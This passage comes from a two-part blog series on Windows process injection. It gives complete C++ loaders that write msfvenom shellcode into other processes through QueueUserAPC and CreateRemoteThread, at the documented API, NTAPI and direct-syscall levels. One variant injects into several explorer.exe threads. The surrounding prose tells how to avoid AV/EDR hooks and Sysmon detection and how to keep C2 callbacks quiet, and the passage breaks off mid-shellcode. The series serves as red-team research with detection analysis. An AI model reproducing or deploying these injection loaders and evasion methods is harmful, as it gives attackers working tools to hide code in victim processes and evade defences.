        CREATE_SUSPENDED |              // Create Suspended for APC Injection
        CREATE_NO_WINDOW,	            // Do Not Open a Window
        NULL,							// Use parent's environment block
        NULL,							// Use parent's starting directory 
        &si,			                // Pointer to STARTUPINFO structure
        &pi								// Pointer to PROCESS_INFORMATION structure (removed extra parentheses)
    )) {
        DWORD errval = GetLastError();
        std::cout << "FAILED" << errval << std::endl;
    }
    WaitForSingleObject(pi.hProcess, 2000); // Allow nslookup 1 second to start/initialize. 
    hProcess = pi.hProcess;
    hThread = pi.hThread;

    // Allocation Memory and Write shellcode to the allocated buffer
    allocation_start = VirtualAllocEx(hProcess, NULL, allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, allocation_start, shellcode, allocation_size, NULL);

    // Inject into the suspended thread.
    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)allocation_start;
    //hThread = OpenThread(THREAD_ALL_ACCESS, TRUE, pi.dwThreadId); // <-- Open a Thread if needed
    QueueUserAPC((PAPCFUNC)apcRoutine, hThread, NULL);

    // Resume the suspended thread
    ResumeThread(hThread);
    
}

API Call Analysis

To analyze API calls, I am using API Monitor with the following filters: [Data Access and Storage, NT Native, System Services].

ItemCount
Number of API Calls174
Total Amount of Memory Used116 KB
QueueUserAPC() Process Injection - High Level API Analysis
QueueUserAPC() Process Injection - High Level API Analysis

We’ve mapped each API call during the High Level API execution flow. We can easily distinguish the High Level API to Low Level API functions that the OS translates during runtime (i.e., VirtualAllocEx → NtAllocateVirtualMemory) This is an important point of interest as it’s common practice for AV / EDR systems to hook these API calls prior to them being handed off to the Windows Kernel to execute a syscall. Our goal is to go lower and therefore avoid such hooks.


Sysmon Analysis

Sysmon is unable to detect process injection via QueueUserAPC(). This is, from my limited understanding, because we are not creating a new thread within the victim process. We are enumerating the threads the process has instantiated, opening the thread, suspending it, giving it a procedure call (our shellcode), and resuming the thread. We are simply accessing a process and telling it to execute some procedure which, is a bit less invasive.

QueueUserAPC() Process Injection - High Level Sysmon Analysis

Looking at the image above, we have keyed in on Sysmon Event ID 10: Process Accessed. During our injection, we do request access to a process via the OpenProcess() or NtOpenProcess(). My example does not open a process to access it since I have used CreateProcess() for demonstration purposes. However, We still can see that Sysmon has detected that the program PI_QUA_High_Level.exe has accessed C:\Windows\System32\nslookup.exe. The interesting part is that Sysmon records a full Call Trace for the event. This could possibly be used for heuristic detection.


Medium Level API

Let’s move a bit lower this time. As stated in the beginning of this post, the designation Medium Level API is simply my nomenclature which means we are avoiding the OS translation and are going to map/call the Nt* functions directly.

#include <iostream>
#include <Windows.h>

typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _PS_ATTRIBUTE
{
    ULONG  Attribute;
    SIZE_T Size;
    union
    {
        ULONG Value;
        PVOID ValuePtr;
    } u1;
    PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;

typedef struct _PS_ATTRIBUTE_LIST
{
    SIZE_T       TotalLength;
    PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;

typedef struct _OBJECT_ATTRIBUTES
{
    ULONG           Length;
    HANDLE          RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG           Attributes;
    PVOID           SecurityDescriptor;
    PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _CLIENT_ID
{
    void* UniqueProcess;
    void* UniqueThread;
} CLIENT_ID, * PCLIENT_ID;

typedef struct _IO_STATUS_BLOCK
{
    union
    {
        NTSTATUS Status;
        VOID* Pointer;
    };
    ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;

typedef VOID(NTAPI* PIO_APC_ROUTINE) (
    IN PVOID            ApcContext,
    IN PIO_STATUS_BLOCK IoStatusBlock,
    IN ULONG            Reserved);

typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
typedef NTSTATUS(NTAPI* pNtOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID);
typedef NTSTATUS(NTAPI* pNtSuspendThread)(HANDLE ThreadHandle, PULONG SuspendCount);
typedef NTSTATUS(NTAPI* pNtAlertResumeThread)(HANDLE ThreadHandle, PULONG SuspendCount);
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PULONG RegionSize, ULONG AllocationType, ULONG Protect);
typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten);
typedef NTSTATUS(NTAPI* pNtQueueApcThread)(HANDLE ThreadHandle, PIO_APC_ROUTINE ApcRoutine, PVOID ApcRoutineContext OPTIONAL, PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, ULONG ApcReserved OPTIONAL);


int main()
{
    // msfvenom -p windows/x64/exec CMD=notepad.exe -f c
    unsigned char shellcode[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
        "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
        "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
        "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
        "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
        "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
        "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
        "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
        "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
        "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
        "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
        "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
        "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
        "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
        "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
        "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
        "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74"
        "\x65\x70\x61\x64\x2e\x65\x78\x65\x00";

    // Create a 64-bit process: 
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    LPVOID allocation_start;
    SIZE_T allocation_size = sizeof(shellcode);
    LPCWSTR cmd;
    HANDLE hProcess, hThread;
    NTSTATUS status;

    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));
    si.cb = sizeof(si);
    cmd = TEXT("C:\\Windows\\System32\\nslookup.exe");

    if (!CreateProcess(
        cmd,							// Executable
        NULL,							// Command line
        NULL,							// Process handle not inheritable
        NULL,							// Thread handle not inheritable
        FALSE,							// Set handle inheritance to FALSE 
        CREATE_SUSPENDED |              // Create Suspended for APC Injection
        CREATE_NO_WINDOW,	            // Do Not Open a Window
        NULL,							// Use parent's environment block
        NULL,							// Use parent's starting directory 
        &si,			                // Pointer to STARTUPINFO structure
        &pi								// Pointer to PROCESS_INFORMATION structure (removed extra parentheses)
    )) {
        DWORD errval = GetLastError();
        std::cout << "FAILED" << errval << std::endl;
    }
    WaitForSingleObject(pi.hProcess, 1000); // Allow nslookup 1 second to start/initialize. 
    hProcess = pi.hProcess;
    hThread = pi.hThread;
    
    // MEDIUM LEVEL API:
    // Stole Some Code From --> https://github.com/uvbs/NT-APC-Injector
    FARPROC fpAddresses[6] = {
        GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA"),
        GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory"),
        GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtWriteVirtualMemory"),
        GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtSuspendThread"),
        GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAlertResumeThread"),
        GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueueApcThread")
    };

    // setup for NTAPI functions
    pNtAllocateVirtualMemory fNtAllocateVirtualMemory = (pNtAllocateVirtualMemory)fpAddresses[1];
    pNtWriteVirtualMemory fNtWriteVirtualMemory = (pNtWriteVirtualMemory)fpAddresses[2];
    pNtSuspendThread fNtSuspendThread = (pNtSuspendThread)fpAddresses[3];
    pNtAlertResumeThread fNtAlertResumeThread = (pNtAlertResumeThread)fpAddresses[4];
    pNtQueueApcThread fNtQueueApcThread = (pNtQueueApcThread)fpAddresses[5];

    allocation_start = nullptr;
    fNtAllocateVirtualMemory(pi.hProcess, &allocation_start, 0, (PULONG)&allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    fNtWriteVirtualMemory(pi.hProcess, allocation_start, shellcode, sizeof(shellcode), 0);
    fNtQueueApcThread(hThread, (PIO_APC_ROUTINE)allocation_start, allocation_start, NULL, NULL);
    fNtAlertResumeThread(hThread, NULL);
    
}

API Call Analysis

To analyze API calls, I am using API Monitor with the following filters: [Data Access and Storage, NT Native, System Services].

ItemCount
Number of API Calls199
Total Amount of Memory Used127 KB
QueueUserAPC() Process Injection - Medium Level API Analysis
QueueUserAPC() Process Injection - Medium Level API Analysis

The total number of API calls was 199 which is much larger than the High Level API’s 174 Calls. That’s pretty noisy but, not unexpected considering the total number of functions that we needed to map from ntdll.dll and kernel32.dll. This does create a lot of overall events that are not necessary if we were to map the functions within a custom implementation which, is what we are going to do within the Low Level API.

One thing that I would find very interesting is to analyze valid implementations for QueueUserAPC and determine if the sample above can easily be defined malicious subject to Call activity alone.

Overall, though, we did decrease the High Level API calls regarding the injection itself which, is a step in the right direction.


Sysmon Analysis

As expected, any indication of process injection has not been defined by Sysmon. Similar to the High Level code, we were able to distinguish which processes were accessed with details containing the Call Trace. Again, this could be very helpful to a RE or triage analyst who is responding to a possible compromise.

QueueUserAPC() Process Injection - Medium Level Sysmon Analysis

Low Level API

#include <iostream>
#include <Windows.h>
#include "common.h"


int main()
{
    // msfvenom -p windows/x64/exec CMD=notepad.exe -f c
    unsigned char shellcode[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
        "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
        "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
        "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
        "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
        "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
        "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
        "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
        "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
        "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
        "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
        "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
        "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
        "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
        "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
        "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
        "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74"
        "\x65\x70\x61\x64\x2e\x65\x78\x65\x00";

    // Create a 64-bit process: 
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    LPVOID allocation_start;
    SIZE_T allocation_size = sizeof(shellcode);
    LPCWSTR cmd;
    HANDLE hProcess, hThread;
    NTSTATUS status;

    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));
    si.cb = sizeof(si);
    cmd = TEXT("C:\\Windows\\System32\\nslookup.exe");

    if (!CreateProcess(
        cmd,							// Executable
        NULL,							// Command line
        NULL,							// Process handle not inheritable
        NULL,							// Thread handle not inheritable
        FALSE,							// Set handle inheritance to FALSE 
        CREATE_SUSPENDED |              // Create Suspended for APC Injection
        CREATE_NO_WINDOW,	            // Do Not Open a Window
        NULL,							// Use parent's environment block
        NULL,							// Use parent's starting directory 
        &si,			                // Pointer to STARTUPINFO structure
        &pi								// Pointer to PROCESS_INFORMATION structure (removed extra parentheses)
    )) {
        DWORD errval = GetLastError();
        std::cout << "FAILED" << errval << std::endl;
    }
    WaitForSingleObject(pi.hProcess, 1000); // Allow nslookup 1 second to start/initialize. 
    hProcess = pi.hProcess;
    hThread = pi.hThread;

    // LOW LEVEL API:
    allocation_start = nullptr;
    NtAllocateVirtualMemory(pi.hProcess, &allocation_start, 0, (PULONG)&allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    NtWriteVirtualMemory(pi.hProcess, allocation_start, shellcode, sizeof(shellcode), 0);
    NtQueueApcThread(hThread, (PKNORMAL_ROUTINE)allocation_start, allocation_start, NULL, NULL);
    NtResumeThread(hThread, NULL);  
    
}

API Call Analysis

To analyze API calls, I am using API Monitor with the following filters: [Data Access and Storage, NT Native, System Services].

ItemCount
Total Number of Calls165
Total Amount of Memory Used112 KB
QueueUserAPC() Process Injection - Low Level API Analysis
QueueUserAPC() Process Injection - Low Level API Analysis

We have an overall very low number of calls which, makes us much quieter. To top it off, we also only see the WaitForSingleObject() call which is called right after we execute CreateProcess() in order to let nslookup.exe initialize. We do not see any of our process injection calls within API Monitor. It goes to reason then that AV / EDR systems would have a very difficult time hooking not only direct syscalls but, a process injection technique that is undetectable by Sysmon (That does not mean other systems can’t detect it, they can.).


Sysmon Analysis

The Sysmon output is symmetrical to the High and Medium level analysis. Honestly, I just put the image here for continuity’ sake.

QueueUserAPC() Process Injection - Low Level Sysmon Analysis

Real World Scenario

Let’s take a second and look at a real world example using this process injection technique. The reason for this section is to analyze the reliability of QueueUserAPC() injection and detail ways to make it more consistent. This code sample below is using the SysWhispers Direct Syscall Methodology just like the Low Level API example above. You will notice several differences within this source however. The first being we are not creating a process, we are in-fact looking for explorer.exe, obtaining a handle to the process, enumerating the processes threads, and injecting into five (5) of those threads.

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
#include "common.h"


int main()
{
    // msfvenom -p windows/x64/exec CMD=notepad.exe -f c
    unsigned char shellcode[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
        "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
        "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
        "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
        "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
        "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
        "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
        "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
        "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
        "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
        "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
        "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
        "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
        "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
        "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
        "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
        "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74"
        "\x65\x70\x61\x64\x2e\x65\x78\x65\x00";

    /* Objects to enumerate an external Process: */
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    DWORD dwProcessId;


    /* Objects for Process Injection: */
    LPVOID allocation_start;
    SIZE_T allocation_size = sizeof(shellcode);
    HANDLE hThread;
    HANDLE hProcess;


    /* Find an explorer.exe process and save PID: */
    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
            Process32Next(snapshot, &processEntry);
        }
    }
    dwProcessId = processEntry.th32ProcessID;
    std::cout << "Process ID: " << dwProcessId << std::endl;

    /* Open the Process, allocate memory, write shellcode */
	OBJECT_ATTRIBUTES pObjectAttributes;
	InitializeObjectAttributes(&pObjectAttributes, NULL, NULL, NULL, NULL);

    CLIENT_ID pClientId;
    pClientId.UniqueProcess = (PVOID)processEntry.th32ProcessID;
    pClientId.UniqueThread = (PVOID)0;

    allocation_start = nullptr;
    NtOpenProcess(&hProcess, MAXIMUM_ALLOWED, &pObjectAttributes, &pClientId);
    NtAllocateVirtualMemory(hProcess, &allocation_start, 0, (PULONG)&allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    NtWriteVirtualMemory(hProcess, allocation_start, shellcode, sizeof(shellcode), 0);
  

    /* Enumerate all the threads assocaited with explorer.exe and save to vector */
    THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
    std::vector<DWORD> threadIds;
    if (Thread32First(snapshot, &threadEntry)) {
        do {
            if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
                threadIds.push_back(threadEntry.th32ThreadID);
            }
        } while (Thread32Next(snapshot, &threadEntry));
    }
    std::cout << "Total Threads Found: " << threadIds.size() << std::endl;


    /* For each thread assocated with Explorer.exe, open the thread and assign it
    *  the APC to execute our shellcode: */
    int count = 0;  
    for (DWORD threadId : threadIds) {
        std::cout << "Injecting into Thread: " << threadId << std::endl;

        OBJECT_ATTRIBUTES tObjectAttributes;
        InitializeObjectAttributes(&tObjectAttributes, NULL, NULL, NULL, NULL);

        CLIENT_ID tClientId;
        tClientId.UniqueProcess = (PVOID)dwProcessId;
        tClientId.UniqueThread = (PVOID)threadId;

        NtOpenThread(&hThread, MAXIMUM_ALLOWED, &tObjectAttributes, &tClientId);
        NtSuspendThread(hThread, NULL);
        NtQueueApcThread(hThread, (PKNORMAL_ROUTINE)allocation_start, allocation_start, NULL, NULL);
        NtResumeThread(hThread, NULL);
        count++;

        // Limit Injection to 5 threads.
        if (count == 5) {
            break;
        }
    }
}

When utilizing this form of process injection, it’s necessary to inject into 3-5 threads for reliability. That’s the first reason we hard code a five (5) thread injection limit. The second reason being, we don’t want to get 20-50 threads to execute our shellcode and obtain 20-50 remote callbacks to our C2. That’s just way too loud! For example, we are injecting into explorer.exe which is always going to be running. At any time, that process is going to have 20-50 threads running so, we limit our impact by only using 5.

The thread limit could actually be avoided via a check for C2 traffic and a Mutex but, I’m not going to detail that here.

QueueUserAPC() Process Injection - Real World Example Analysis

Once we execute the binary, we can see that the program found 35 threads associated with explorer.exe, and we injected into five (5) of those threads. We only received three (3) notepad.exe instances meaning that of the five (5) threads, only three (3) of those threads successfully executed our shellcode. In my experience, only 60%-70% of the injected threads successfully execute and it’s extremely variable with limited consistency.

The other issue I see often is that we crash the application we inject into. This is the case with several forms of process injection but with QueueUserAPC(), there is a very high probability of crashing explorer.exe considering the example above. And as a matter of a fact, we do crash explorer.exe during our injection.

QueueUserAPC() Process Injection - Real World Example Sysmon Analysis

This example shows the variability and overall success probability that should be taken into account each time you use this technique. We don’t want to crash systems, and we don’t want to impact employees day-to-day operations so, choose the process carefully and limit the overall exposure.


Conclusion

The ability execute our shellcode using direct syscalls rather than using Windows dependencies (Documented API, ntdll.dll, kernerl32.dll) allows for a much quieter and streamlined compromise. However, we were also able to circumvent common process injection detection via Sysmon by using QueueUserAPC() instead of CreateRemoteThread(). The image below details the QueueUserAPC Process Injection API calls that were observed via API Monitor.

QueueUserAPC() Process Injection - All API Analysis

QueueUserAPC() Vs. CreateRemoteThread()

Injection TypeAPI LevelTotal API CallsTotal Memory Used
CreateRemoteThread()High298192 KB
CreateRemoteThread()Medium309196 KB
CreateRemoteThread()Low288186 KB
QueueUserAPC()High174116 KB
QueueUserAPC()Medium199127 KB
QueueUserAPC()Low165112 KB

It’s worth mentioning the differences in the two process injection techniques we’ve looked at so far. It’s apparent that the CreateRemoteThread() is louder, easier to detect, and is the most common API call for process injection. CreateRemoteThread() Is also very reliable whereas QueueUserAPC() can be a bit unpredictable if you’re opening and already instantiated process and injecting into one of its threads. However, generating a process and injecting into it seems to create a much higher probability of success, as seen in all the examples above.

It’s fairly obvious that if you want to be quieter / more stealthy, QueueUserAPC() has the advantage.

Process Injection Part 2 | QueueUserAPC()
Joshua

Process Injection Part 1 | CreateRemoteThread()

By: Joshua
8 April 2020 at 19:17

Sevro Security
Process Injection Part 1 | CreateRemoteThread()

In this new series, I am going to dive deep into Windows Process Injection. The purpose of this series is to dig into how each injection technique works at its core. Each post is going to be broken down into four (4) parts:

  1. Process Injection Primer – Subject to the injection technique, we will review how this type of injection works programmatically.
  2. Analyze High Level Windows API Calls – Use the MSDN Documented methods and functions.
    1. API Call Analysis
    2. Sysmon events and logging
  3. Analyze Medium Level Windows Syscalls Using LoadLibrary – Use the NTAPI Undocumented functions via ntdll.dll
    1. API Call Analysis
    2. Sysmon events and logging
  4. Analyze Low Level Windows Syscalls Using x86 Assembly – Custom via Rolling Our Own Syscalls 🔥
    1. API Call Analysis
    2. Sysmon events and logging

I am piggy backing off the phenomenal research conducted by Outflank as well as a project developed by @Jackson_T called SysWhispers that auto generates a x86 ASM functions and header files. Incredible work to say the least.

Each post in this series will contain source code that is written in C++ with both High Level API calls and corresponding Low Level Syscalls. For continuity, I am going to be compiling all my builds for x64 bit architectures.


Reference Material

For high level Windows API Calls. We will use the official Microsoft MSDN Documentation. For all the undocumented functions, which is what we will be using when we want to conduct direct system calls, we will reference the NTAPI Undocumented Functions. If you’re unfamiliar with Syscalls and the Windows API’s I will provide a small Process Injection primer however, I am not detailing how Windows User v. Kernel mode works and the associated rings. I highly suggest you read Outflanks Blog Post in order to understand more.

Code Examples:

  • All code examples use the same 64-bit shellcode generated from the Metasploit Frameworks Msfvenom tool.
    • msfvenom -p windows/x64/exec CMD=notepad.exe -f c
    • The shellcode executes Notepad.exe.

System Configuration / Tools:


Process Injection Primer

In regards to CreateRemoteThread() process injection, there are really three (3) main objectives that need to happen:

  1. VirtualAllocEx() – Be able to access an external process in order to allocate memory within its virtual address space.
  2. WriteProcessMemory() – Write shellcode to the allocated memory.
  3. CreateRemoteThread() – Have the external process execute said shellcode within another thread.

Example

LPVOID allocation_start;
allocation_start = VirtualAllocEx(pi.hProcess, NULL, allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, allocation_start, shellcode, allocation_size, NULL);
CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)allocation_start, NULL, 0, 0);

VirtualAllocEx()

We first need to allocate a chunk of memory that is the same size as our shellcode. VirtualAllocEx is the Windows API we need to call in order to initialize a buffer space that resides in a region of memory within the virtual address space of a specified process (i.e., the process we want to inject into).

  • VirtualAllocEx – Reserves, Commits, or Changes the state of memory within a specified process. This API call takes an additional parameter, compared to VirtualAlloc, (HANDLE hProcess) which is a Handle to the victim process.
LPVOID VirtualAllocEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

Looking at example above, we have a HANDLE to an external process (nslookup.exe in this case). With this handle, we can allocate a buffer the same size as our shellcode within the victim processes virtual memory pages.

Debugging Documented Process Injection

The image above is a snapshot of a Visual Studio Debugging session. I set a break point at the VirtualAllocEx CALL and then stepped over it in order to execute it. We can see that VirtualAllocEx() allocated a buffer located at 0x000001efdc9d000. This memory allocation should be within the nslookup.exe process space. To confirm, we can open the nslookup.exe process in ProcessHacker -→ properties -→ memory and look for the memory region we see in the debugger.

ProcessHacker.exe reviewing VirtualAlloc and WriteProcessMemory

WriteProcessMemory()

Now that we have allocated a buffer the same size as our shellcode, we can write our shellcode into that buffer.

BOOL WriteProcessMemory(
  HANDLE  hProcess,
  LPVOID  lpBaseAddress,
  LPCVOID lpBuffer,
  SIZE_T  nSize,
  SIZE_T  *lpNumberOfBytesWritten
);

In the Visual Studio Debugger, I step forward once again which executes the WriteProcessMemory CALL. This writes the contents of our shellcode into the victim processes allocated memory space. In ProcessHacker, we can conduct a memory dump of the nslookup.exe and when we specifically analyze the memory we allocated via the VirtualAllocEx CALL, we can see that our shellcode was properly written to the nslookup.exe buffer.

ProcessHacker.exe analysis of WriteProcessMemory

CreateRemoteThread()

With the shellcode loaded into the allocated virtual memory space of the victim process, we can now tell the victim process to create a new thread starting at the address of our shellcode buffer.

  • CreateRemoteThread() – Creates a thread that runs in the virtual address space of another process.
HANDLE CreateRemoteThread(
  HANDLE                 hProcess,
  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  SIZE_T                 dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID                 lpParameter,
  DWORD                  dwCreationFlags,
  LPDWORD                lpThreadId
);

Stepping forward for the last time, we execute CreateRemoteThread and get a Notpad.exe instance.

Final Process Injection executing Notepad.exe

High Level Windows API

In the example below, I create a 64-bit Nslookup.exe process and then inject into it using default Metasploit shellcode that simply creates an instance of Notepad.exe. This is not a very “clean” method of injection but for the purpose of this example, it works. This example details the proper / MSDN documented method of executing code within a different process space.

#include <iostream>
#include <Windows.h>
#include "common.h"

int main()
{
    // msfvenom -p windows/x64/exec CMD=notepad.exe -f c
    unsigned char shellcode[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
        "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
        "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
        "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
        "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
        "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
        "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
        "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
        "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
        "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
        "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
        "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
        "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
        "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
